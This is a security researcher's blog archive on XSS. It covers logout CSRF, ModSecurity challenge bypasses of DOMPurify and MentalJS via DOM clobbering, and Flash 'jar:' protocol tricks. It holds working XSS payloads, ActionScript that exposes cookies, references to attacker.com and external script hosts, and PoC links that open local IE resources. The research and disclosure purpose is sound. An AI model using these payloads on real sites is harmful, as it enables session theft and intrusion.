Tag Archives: XSS

Yet Other Examples of Abusing CSRF in Logout

The “Login/logout CSRF: Time to reconsider?” blog post by Mathias Karlsson (@avlidienbrunn) is a great resource that shows why sometimes CSRF in logout/login can be considered as an impactful security issue and how it can be abused.

In Mathias’ blog post, unauthenticated XSS can also be exploited similar to the self-XSS issue but it is less complicated. This is when a  XSS is not accessible to authenticated users. In that case, the attacker logs the user out to deliver the XSS payload which waits for the user to authenticate in another tab in order to perform the ultimate attack.

Recently, I found another similar but rare example to perform CSRF attacks in a “secure” website that required logging victims out and waiting for them to log back in later. Although this case is not as common as the examples described by Matthias, it is still a valid case to consider during an assessment.

The websites I was testing had an anti-CSRF token in every POST requests that changed per-session, per-request, and per-page. However, as the logout page used a GET request it was vulnerable to CSRF attacks. The web application kept the anti-CSRF token value in the user’s session on the server-side, and GET and POST requests were not interchangeable.

All was good until I realised that some of the previously captured POST requests can be replayed with a new authenticated session cookie if I remove the anti-CSRF token’s parameter from the body of the POST request. I could however only send one token-less POST request to each page as I received a security error afterwards. This showed that the website was creating an anti-CSRF token for a page upon accessing the page for the first time (there was also a page that could generate an anti-CSRF token for a given page using AJAX but that is not important here).

As a result, I could not exploit this issue if the victim had already browsed a page that I wanted to target. However, as the logout page was vulnerable to CSRF attacks, I could exploit this issue by tricking the victim to visit a malicious website that would:

  • Send a malicious POST request to the website without an anti-CSRF token’s parameter just in case I was very lucky and the victim had not browsed that particular page (very unlikely as it had a few pages)
  • Log the victim out of the target website
  • Keep sending the malicious POST request without the anti-CSRF token’s parameter to perform an action in the background until the user logs back in the target website in another browser tab

Rare ASP.NET request validation bypass using request encoding

I had blogged about this in NCC Group’s website. I thought it is the best to add a link to it here as well.

It is possible to bypass the ASP.NET request validation capability when errors are ignored using request encoding techniques. This can be abused to perform stored cross-site scripting (XSS) attacks.

The full article can be read here: https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/rare-aspnet-request-validation-bypass-using-request-encoding/

PDF version can be downloaded from: https://soroush.secproject.com/downloadable/Rare_ASP.NET_Request_Validation_Bypass_Using_Request_Encoding.pdf

How did I bypass everything in modsecurity evasion challenge?

First of all, at the moment this challenge is ongoing since last year (2013) and you may have already heard about it. Here is the link to this challenge: http://www.modsecurity.org/demo/demo-deny-noescape.html

I was very late to the party as other challengers could have defeated it easier in September 2013: http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html. These bypasses have been fixed now and it should not be possible to use those techniques to win the challenge.

As a result, the challenge is much harder than what it was in September and probably would be tougher in future. Fortunately, I managed to bypass all three different groups of the protections separately. Unfortunately, I could not find a single payload to bypass everything at the same time so I could not claim the prize just like other previous challengers! You can tell me first if you found a way to bypass them all though ;)

Here is what I did to bypass the XSS protections in this challenge for future reference:

XSS Defense #1 – blacklist method

XSS detection based on 5 different restricted blacklists! In my humble opinion, you may not be able to use these blacklists at the same time in a live web application because of the high number of false-positives. For example, it currently detects the following strings as attack vectors: “dude, I am online =))”, “<~form”, or “test this src for me”.

I thought I may be able to bypass the protection by using a flash file and an “object” tag, but “<object data=…” was blocked by different protections…

However, I used the following features to bypass these protections:

  •  An “object” tag does not need to be closed for this scenario.
  • A null character with an alphanumeric character after the “object” tag would make it undetectable by different protection methods in this challenge (e.g. “<object%00something”).
  • “allowScriptAccess” and “data” attributes were allowed!

So the following is a bypass method for the XSS Defense #1:

<object%00something allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?

And as the page writes the payload twice, I could also use the following to bypass the protections:

'allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?<object%00something else='

XSS Defense #2 and #3 – DomPurify and MentalJS

The defense #2 and #3 are about bypassing the white-list protections. You can read more about them in the modsecurity challenge page.

I was thinking to bypass DomPurify by using DOM clobbering attack (http://www.thespanner.co.uk/2013/05/16/dom-clobbering/) but it had some protections against it:

// https://raw.githubusercontent.com/cure53/DOMPurify/d488ccf4680a7c019bce4de100f53e8ed86d5034/purify.js
        var _isClobbered = function(elm) {
            if(elm instanceof Text) {
                return false;
            }
            if (
                (elm.children && !(elm.children instanceof HTMLCollection))
                || typeof elm.nodeName !== 'string'
                || typeof elm.textContent !== 'string'
                || typeof elm.nodeType !== 'number'
                || typeof elm.COMMENT_NODE !== 'number'
                || typeof elm.setAttribute !== 'function'
                || typeof elm.cloneNode !== 'function'
                || typeof elm.removeAttributeNode !== 'function'
                || typeof elm.insertAdjacentHTML !== 'function'
                || typeof elm.attributes.item !== 'function'
            ) {
                return true;
            }
            return false;
        };

In this code, it checks “elm.attributes.item” to be a function but it does not verify the “elm.attributes” to have the correct type (it has been fixed now). As a result, I managed to bypass its “_sanitizeAttributes()” function by using a “form” tag with two “input” elements with the “name” attributes equal to “attributes”. If I was using just one “input” element, “elm.attributes.item” would not be a function, and therefore it was detectable; however, with more than one element, “elm.attributes.item” would be a function and “attributes.length” would be a numerical value so there would be no error in JavaScript, and this causes confusion for “currentNode.attributes[attr].name” in the following code to point to the “input” elements instead of the real form’s attributes which is what we need. Therefore, I could bypass the protection that DomPurify had in the “_sanitizeAttributes” function without causing any error by using DOM clobbering technique:

/* Check if we have attributes; if not we might have a text node */
if(currentNode.attributes) {

/* Go backwards over all attributes; safely remove bad ones */
for (var attr = currentNode.attributes.length-1; attr >= 0; attr--) {
tmp = clonedNode.attributes[attr];
clobbering = false;
currentNode.removeAttribute(currentNode.attributes[attr].name);

The bypass code is as follows:

</pre>
<form onmouseover="alert(&quot;by @irsdl:&quot;%2bdocument.location)"><input type="text" name="attributes" /><input type="text" name="attributes" />

It turned out that this also bypasses MentalJS sandbox by causing confusion as a result of DOM clobbering in the code below:

if(elementNode.attributes instanceof HTMLElement || typeof elementNode.setAttribute !== 'function' || typeof elementNode.getAttribute !== 'function' || typeof elementNode.removeAttribute !== 'function') {
                                        elementsToRemove.push(elementNode);
                                        continue;
                                    }

XSS Defense #3 – MentalJS

Apart from the previous bypass for MentalJS, I also found out that it is possible to bypass its sandbox by using “innerHTML” to build a script tag instead of using “createTextNode”:

<script type="text/javascript">
x=document.createElement('script');x.innerHTML='alert(location)';documdoc.body.appendChild(x);
</script>

I also found the following interesting tricks in MentalJS but they did not lead me to any new bypasses:

Keeping script “src” to an external js file (normally MentalJS removes them):

<script type="text/javascript" src="http://ha.ckers.org/xss.js">
x
</script>

Keeping a non-whitelisted tag by clobbering the “removeChild” function (this will cause a JavaScript error but this is not a problem as it is in a try/catch statement):

</pre>
<form name="IRSDL"><input type="text" name="removeChild" /><input type="text" name="removeChild" />xxxx</form>
<pre>

If you are still interested, the following link is the conversation about bypassing MentalJS in slackers forum and it is really awesome:

http://sla.ckers.org/forum/read.php?2,29090,52131,page=13

MentalJS has been written by Gareth Heyes (@garethheyes‎) who was supporting me to bypass his tool to make it more secure.

Catch-up on Flash XSS exploitation Part 3 – XSS by embedding a flash file

I am going to explain how to exploit a Cross Site Scripting vulnerability by embedding a flash file in a vulnerable website by using navigateToURL or getURL. This is a known technique but I want to introduce a new method to exploit the target more efficiently. This method can be useful when you have some restrictions and you cannot inject a JavaScript directly into the page.

First of all, I am going to explain how it is possible to do this normally and then I will try to make my vector as short as possible.

Using “allowScriptAccess” (normal method):

Here is the code that we need to run JavaScript from our flash file by using URL redirection:

ActionScript 3 code (http://0me.me/demo/xss/flash/normalEmbededXSS.swf):


navigateToURL(new URLRequest("javascript:alert(document.domain);"),"_self");

ActionScript 2 code:


getURL("javascript:alert(document.domain)","_self");

And here is the HTML code in which we need to embed this flash file:


<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowScriptAccess" value="always" /><param name="src" value="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf" allowScriptAccess="always" /></object>

Test URL: http://jsfiddle.net/4F5b2/

It is also possible to rewrite the HTML file as follows to make it as short as possible:


<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" />

Test URL: http://jsfiddle.net/UDeE8/

However, this vector will not work in IE as it causes a “Security sandbox violation” error (you can use the debugger version of Flash player to see the error messages). Instead we can use EMBED tag as follows:


<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowscriptaccess" value="always" /><param name="src" value="//0me.me/demo/xss/flash/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//0me.me/demo/xss/flash/normalEmbededXSS.swf" allowscriptaccess="always" /></object>

Test URL: http://jsfiddle.net/pEFan/

Exploiting XSS without using allowScriptAccess – bypassing flash Security Sandbox:

There can be a valid scenario in which you can only control the address of an embedded SWF file in victim’s website or there are some length restrictions and we cannot use “allowScriptAccess”! I came across this scenario recently in @rafaybaloch and @prakharprasad #1 XSS challenge: http://rafay.prakharprasad.com/

If we do not use “allowScriptAccess”, we can make our vector as short as possible but it will cause a “Security sandbox violation” error for two reasons:

1: Target page in navigateToURL or getURL cannot be set to null/empty, “_self”, “_parent”, and “_top”.

Example:

ActionScript 3 code (http://0me.me/demo/xss/flash/targetSelf_destGoogle_embededXSS.swf):


navigateToURL(new URLRequest("http://google.com/"),"_self");

Test URL: http://jsfiddle.net/sWk37/

2: We cannot use “JavaScript:” protocol for redirection.

Example:

ActionScript 3 code:


navigateToURL(new URLRequest("javascript:alert(document.domain);"),"testme");

Test URL: http://jsfiddle.net/9wGMM/

Resolving the first issue is not difficult. If we use an arbitrary name as the target page, it will open our JavaScript in a new page which uses the same window origin as its opener and this is what we need! It is also possible to set a name for the victim’s website when we want to open it by using different techniques (such as IFrame name, window.open, anchor’s target, form’s target and so on) and set the target name to the same name in our Flash file. I will show you an example later.

Overcoming the second issue is even easier! We can use “JAR:” protocol before “JavaScript:” to bypass Flash Sandbox protection (http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/).

Based on these solutions, our Flash file would be like this:

ActionScript 3 code (http://0me.me/demo/xss/flash/embededXSS.swf):


navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme");

ActionScript 2 code:


getURL("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);","testme");

Let’s Finish It!

I have a vulnerable page which is located in:

http://www.sdl.me/xssdemo/xss.asp?input=XSS_goes_here

If we do not use a name for the victim’s website, it is only exploitable in Mozilla Firefox:

http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf> – Firefox only

We can still exploit this in other browsers if we use a name (“testme” in our example) to open the vulnerable file. Here is an example:


<iframe name="testme" src="http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf>" height="240" width="320"></iframe>

Test URL: http://jsfiddle.net/FUfrc/

Please note that the OBJECT tag could also be used instead of EMBED with the same result.
 

Important Update: Adobe Flash has been patched to close JAR protocol issues forever! (http://helpx.adobe.com/security/products/flash-player/apsb14-02.html)

 

 

Catch-up on Flash XSS exploitation Part 2 – “navigateToURL” and “jar:” protocol!

I think I have already proven my interest in using simple vectors to bypass available protections (some examples to support my claim!: IIS Semi-colon issue, IIS Short Filename Scanner, Mozilla Firefox Directory Traversal by using resource protocol, etc). Now, I am going to reveal more secrets and this time in Flash and also Internet Explorer!

XSS attack by using different protocols in “navigateToURL” redirections:

Please note that this section may need to be updated in future as I have not spent enough time researching this subject yet! Therefore, if you have found something relevant or if you know a useful tip, please share it with me too.

We know that “navigateToURL” can lead to a Cross Site Scripting or Open Redirect issue. When I was playing with “navigateToURL” function in AS3, I found an interesting protocol that Flash ignores and it is called “jar:” protocol. I had seen this in Firefox before but never in Flash!

In flash binary file, there are also other protocols listed that can be useful for the research purposes but none of them has the unique feature of “jar:” protocol. Their list is as follows:

rtmp:
rtmpt:
rtmps:
rtmpe:
rtmpte:
mk:@MSITStore:
Ms-its:
vnd.ms.wmhtml:
etc:
ms-help:
hcp:
msencdata:
jar:
rtmpt://
rtmps://
rtmpe://
rtmpte://
rtmfp://
file:////
app:
app-storage:

Some of these protocols are for streaming purposes (such as “rtmps”), some of them are application specific protocols (such as “Ms-its” for IE), and others are generic protocols that we already know about!

jar:” protocol is our invisible friend and a True Warrior!!:

It seems flash ignores “jar:” protocol and it becomes a transparent protocol. In other words, there is no difference between “javascript:alert(1)” and “jar:javascript:alert(1)” in Action Script. I have not yet found any other usage of this protocol (maybe it is vulnerable as well!).

Now if an application uses a blacklist protection to detect “javascript:” or “vbscript:”, it can be easily bypassed!

Here is our vulnerable example code:

	var input:String = root.loaderInfo.parameters.input; // input variable
	var dangerousInput:RegExp = /^\w*script:.*/i; // to cover javascript: and vbscript: protocols!
	if(!dangerousInput.test(input))
	{
		// Safe to go?!!! --> No! What about "jar:javascript:"?
		navigateToURL(new URLRequest(input),"_self"); // redirection
	}

And here is the real example:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:javascript:alert(1);//
*

This Action Script is also vulnerable to XSS by using “data:” protocol in Firefox which I believe is a known issue.

Bypassing local-with-filesystem protection by using “navigateToURL”:

By default, Flash does not allow you to use sensitive protocols such as “File://” or “Ms-its:” in “navigateToURL”. If you try to open “http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\”, you will receive the following error (you can view the errors by using debugger version of Flash Player):

SecurityError: Error #2148: SWF file http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\ cannot access local resource file://c:\. Only local-with-filesystem and trusted local SWF files may access local resources.
	at global/flash.net::navigateToURL()
	at MethodInfo-1()
	at flash.events::EventDispatcher/dispatchEventFunction()
	at flash.events::EventDispatcher/dispatchEvent()
	at com.powerflasher.SampleApp::link_protocol_test()

As you can see in the error message, only local-with-filesystem should be able to use “File:” protocol.

I found out that it is possible to bypass this protection by using “jar:” protocol followed by a restricted protocol and by playing with slashes and backslashes preceding the restricted protocol. And now it is up to the browsers to protect their users against any possible attack!

I have tested this technique in Google Chrome, Mozilla Firefox, and Internet Explorer and I could not bypass the first two! Which means only Internet Explorer is falling for this bypass method!

Here are some examples of my bypass vectors:

Jar protocol – Opens C drive (note that I use only 1 slash character for the File protocol):

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\
*

Jar protocol – Opens a file in your local C drive:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\windows\Starter.xml
*

Jar protocol – Opens other restricted protocols in IE – example 1:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:shell:cookies
*

Jar protocol – Opens other restricted protocols in IE – example 2:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:mk:@MSITStore:C:\Windows\Help\mui\0409\certmgr.CHM::/html/355962c2-4f6b-4cbd-ab00-6e7ee4dddc16.htm
*

Playing with backslashes without using “jar:” protocol – Opens C drive:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=\\/c:/
*

Now you can open any of these links in an IFrame. I have created a PoC in the following link:
http://0me.me/demo/xss/flash/iframe_link_protocol_test.html

As you can see in the PoC link, it is even possible to identify if an item is available or not! As a result, it is possible to enumerate the local hard-drives (what about the internal network? ;) )

Now the question is: “what can I do by opening a local resource in an IFrame?”. I had some thoughts but I asked the same question in my twitter as well to collect more information. I say thank you to the following people who kindly answered my question: @obnosis, @mall0cat, @dveditz, @AbiusX, @cgvwzq, @superevr, @Milad_Bahari.

These are the things we should be able to do by opening the local file system in an IFrame:

1- Running a dangerous browser readable file (such as html, swf, and so on) that contains malicious scripts to steal more data, execute command, or target the internal network. In order to exploit this issue, you need a vulnerable/malicious file with proper extension (IE should be able to open it) in the target’s machine. This can be an existent file or a file that has been downloaded to the target. However, you may need the user’s interaction (see this old issue: http://forums.cnet.com/7726-6132_102-5480227.html).

2- Hijacking the local sensitive files by using drag-and-drop feature. I should say that I was unable to do this in my PoCs. Maybe I should try harder?!

3- Scanning the local resources.

4- Fingerprinting the users based on their files and directories.

Let’s have some fun! I want to open your CDRom!

I have created a PoC to eject the empty CD/DVD drives in IE (tested in IE10) – just like old Trojans!!!:
http://0me.me/demo/xss/flash/open_cdrom.html

I have used another advisory of mine to enumerate the valid Drive letters and I am opening them one by one in an IFrame!
 

Important Update: Adobe Flash has been patched to close JAR protocol issues forever! (http://helpx.adobe.com/security/products/flash-player/apsb14-02.html)